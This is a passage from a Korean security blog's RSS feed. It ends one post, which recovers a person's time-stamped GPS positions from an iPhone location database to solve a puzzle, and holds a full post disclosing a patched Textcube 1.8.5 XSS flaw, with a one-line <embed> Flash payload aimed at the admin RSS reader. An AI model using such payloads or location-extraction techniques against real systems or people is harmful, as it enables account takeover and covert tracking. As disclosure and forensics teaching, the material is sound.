id="footnote_link_360_3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;978307200은 2001년 1월 1일 0시 0분의 Unix Timestamp입니다.&lt;br&gt;&lt;br&gt;SQLite Database Browser에서 방금 작성한 쿼리문을 실행하면 Timestamp가 아닌 실제 시각 정보별로 GPS 좌표들을 볼 수 있습니다. 물론, "2011년 1회 SIS 필기시험 전날 21:00~21:10" 일 때의 위치도 보이죠.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1189654816.png" alt="사용자 삽입 이미지" height="499" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림4] 실제 시각 정보 별 GPS 좌표들&lt;/em&gt;&lt;/div&gt;&lt;br&gt;2011년 1회 SIS 필기시험 전날은 5월 27일입니다. 해당 시각의 GPS 좌표는 단 하나만 존재하는군요. 이 좌표를 구글신께 물어보면 "2011년 1회 SIS 필기시험 전날 21:00~21:10" 일 때의 몽양의 위치를 확인할 수 있습니다.&lt;br&gt;&lt;br&gt;&lt;div style="text-align: center;"&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1365544633.png" alt="사용자 삽입 이미지" height="251" width="605" /&gt;&lt;/div&gt;&lt;em&gt;[그림5] 몽양! 그 시각에 거긴 왜 갔었어? 누구랑?&lt;/em&gt;&lt;/div&gt;&lt;br&gt;그래서 패스워드는? "N SEOUL TOWER"입니다.&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;div class=footnotes&gt;주석.&lt;div class=footnotes_in&gt;&lt;ol class=footnotes&gt;&lt;li id="footnote_360_1"&gt;iPhoneTracker FAQ :: &lt;a href="http://petewarden.github.com/iPhoneTracker/#faq"  target="_blank"&gt;http://petewarden.github.com/iPhoneTracker/#faq&lt;/a&gt; &lt;a href="#footnote_link_360_1"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_360_2"&gt;iphonels.py :: &lt;a href="http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup/3130860#3130860"  target="_blank"&gt;http://stackoverflow.com/questions/308 &amp;middot;&amp;middot;&amp;middot; 33130860&lt;/a&gt; &lt;a href="#footnote_link_360_2"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;li id="footnote_360_3"&gt;SQL As Understood By SQLite :: &lt;a href="http://www.sqlite.org/lang_datefunc.html"  target="_blank"&gt;http://www.sqlite.org/lang_datefunc.html&lt;/a&gt; &lt;a href="#footnote_link_360_3"&gt;&lt;/a&gt; &lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/360?commentInput=true#entry360WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x06 Other RCE</category>
			<category>consolidated.db</category>
			<category>GPS</category>
			<category>iPhone</category>
			<category>아이폰</category>
			<category>위치정보</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/360</guid>
			<comments>http://hisjournal.net/blog/360#entry360comment</comments>
			<pubDate>Tue, 28 Jun 2011 09:30:12 +0900</pubDate>
		</item>
		<item>
			<title>Textcube v1.8.5 XSS Vulnerability on RSS Reader</title>
			<link>http://hisjournal.net/blog/359</link>
			<description>지난 2월 27일, TNF 팀에 텍스트큐브 v1.8.5에서의 XSS 취약점을 보고한 적이 있습니다. 당시 보고했던 취약점은 OpenID를 이용한 방문자 로그인 시에 XSS 공격이 되는 문제와 관리메뉴의 RSS 바깥글 읽기에서 플래시를 통하여 XSS 공격이 되는 문제였습니다. 이 취약점들이 오늘 오전 5시 45분에 v1.8.6 발표후보 1이 공개되면서 패치되었습니다.&lt;br&gt;&lt;br&gt;OpenID로 방문자 로그인 시에 XSS 공격하는 문제는 non-persistent XSS 취약점이구요. 그래서 이 글에서는 관리메뉴의 RSS 바깥글 읽기에서 플래시를 통한 XSS 공격을 설명하렵니다.&lt;br&gt;&lt;br&gt;&lt;h3&gt;RSS 바깥글 읽기&lt;/h3&gt;텍스트큐브의 관리메뉴에는 RSS 바깥글 읽기(http://192.168.0.2/owner/network/reader)라는 메뉴가 있습니다. 줄여서 RSS 리더라고 하죠. RSS 리더는 다음의 설정을 통해 활성/비활성화가 가능합니다.&lt;br&gt;&lt;br&gt;&lt;blockquote&gt;텍스트큐브 관리 -&amp;gt; 서비스 관리 -&amp;gt; 서버 -&amp;gt; &lt;span class="label"&gt;'RSS 이웃글 보기 사용' 체크 -&amp;gt; 저장&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="label"&gt;&lt;br&gt;혹은 블로그 디렉토리 하위의 &lt;/span&gt;&lt;del&gt;.htaccess&lt;/del&gt; config.php 파일을 수정하여도 활성/비활성화가 가능합니다. &lt;br&gt;&lt;br&gt;&lt;h3&gt;XSS 취약점&lt;/h3&gt;RSS 리더에서는 기본적으로 library/function/javascript.php 의 filterJavaScript 함수로 자바스크립트가 비활성화가 됩니다. 그러나 v1.8.5 까지는 &amp;lt;embed&amp;gt;&amp;lt;/embed&amp;gt; 태그를 필터링하지 않아서 악성 플래시 파일에 대한 XSS 공격이 유효합니다.&lt;br&gt;&lt;br&gt;블로그 관리자가 A라는 웹사이트의 RSS를 관리메뉴의 RSS 리더로 구독한다면, 공격자는 A라는 웹사이트에 다음과 같은 코드를 게시합니다.&lt;br&gt;&lt;br&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;&amp;amp;#60;embed src="http://192.168.0.2/xss.swf" AllowScriptAccess="always"&amp;amp;#62;&amp;amp;#60;/embed&amp;amp;#62;&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;&lt;br&gt;관리자가 해당 글을 보게 된다면, 다음과 같이 XSS 공격을 당합니다.&lt;br&gt;&lt;br&gt;&lt;div class="imageblock center" style="text-align: center; clear: both;"&gt;&lt;img src="http://hisjournal.net/blog/attach/1/1199743752.png" alt="사용자 삽입 이미지" height="356" width="605" /&gt;&lt;/div&gt;&lt;br&gt;&lt;h3&gt;패치&lt;/h3&gt;해당 취약점은 &lt;a href="http://notice.textcube.org/ko/223"  target="_blank"&gt;v1.8.6 발표후보 1&lt;/a&gt;에서 패치되었고, 패치 내용은 &lt;a href="http://dev.textcube.org"  target="_blank"&gt;텍스트큐브 개발 센터&lt;/a&gt;의 &lt;a href="http://dev.textcube.org/changeset/bea7af77b0758454000778e089bb4e7567066126"  target="_blank"&gt;#1107&lt;/a&gt; 티켓에서 확인할 수 있습니다.&lt;br&gt;&lt;fieldset style="margin:20px 0px 20px 0px;padding:5px;"&gt;&lt;legend&gt;&lt;span&gt;&lt;strong&gt;크리에이티브 커먼즈 라이센스&lt;/strong&gt;&lt;/span&gt;&lt;/legend&gt;&lt;!--Creative Commons License--&gt;&lt;div style="float: left; width: 88px; margin-top: 3px;"&gt;&lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;&lt;img alt="Creative Commons License" style="border-width: 0" src="http://i.creativecommons.org/l/by-nc-sa/2.0/kr/88x31.png"/&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-left: 92px; margin-top: 3px; text-align: justify;"&gt;이 저작물은 &lt;a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" target=_blank&gt;크리에이티브 커먼즈 코리아 저작자표시-비영리-동일조건변경허락 2.0 대한민국 라이센스&lt;/a&gt;에 따라 이용하실 수 있습니다.
			&lt;!-- Creative Commons License--&gt;
			&lt;!-- &lt;rdf:RDF xmlns="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
			&lt;Work rdf:about=""&gt;
			&lt;license rdf:resource="http://creativecommons.org/licenses/by-nc-sa/2.0/kr/" /&gt;
			&lt;/Work&gt;
			&lt;License rdf:about="http://creativecommons.org/licenses/by-nc-sa/"&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Reproduction"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/Distribution"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Notice"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/Attribution"/&gt;
			&lt;permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/&gt;
			&lt;requires rdf:resource="http://web.resource.org/cc/ShareAlike"/&gt;&lt;prohibits rdf:resource="http://web.resource.org/cc/CommercialUse"/&gt;&lt;/License&gt;&lt;/rdf:RDF&gt; --&gt;&lt;/div&gt;&lt;/fieldset&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://hisjournal.net/blog/359?commentInput=true#entry359WriteComment"&gt;댓글 쓰기&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<category>0x04 Web RCE</category>
			<category>embed</category>
			<category>RSS</category>
			<category>swf</category>
			<category>Textcube</category>
			<category>XSS</category>
			<category>텍스트큐브</category>
			<category>플래시</category>
			<author>6l4ck3y3@gmail.com (6l4ck3y3)</author>
			<guid>http://hisjournal.net/blog/359</guid>
			<comments>http://hisjournal.net/blog/359#entry359comment</comments>
			<pubDate>Sat, 16 Apr 2011 12:20:28 +0900</pubDate>
		</item>
	</channel>
</rss>
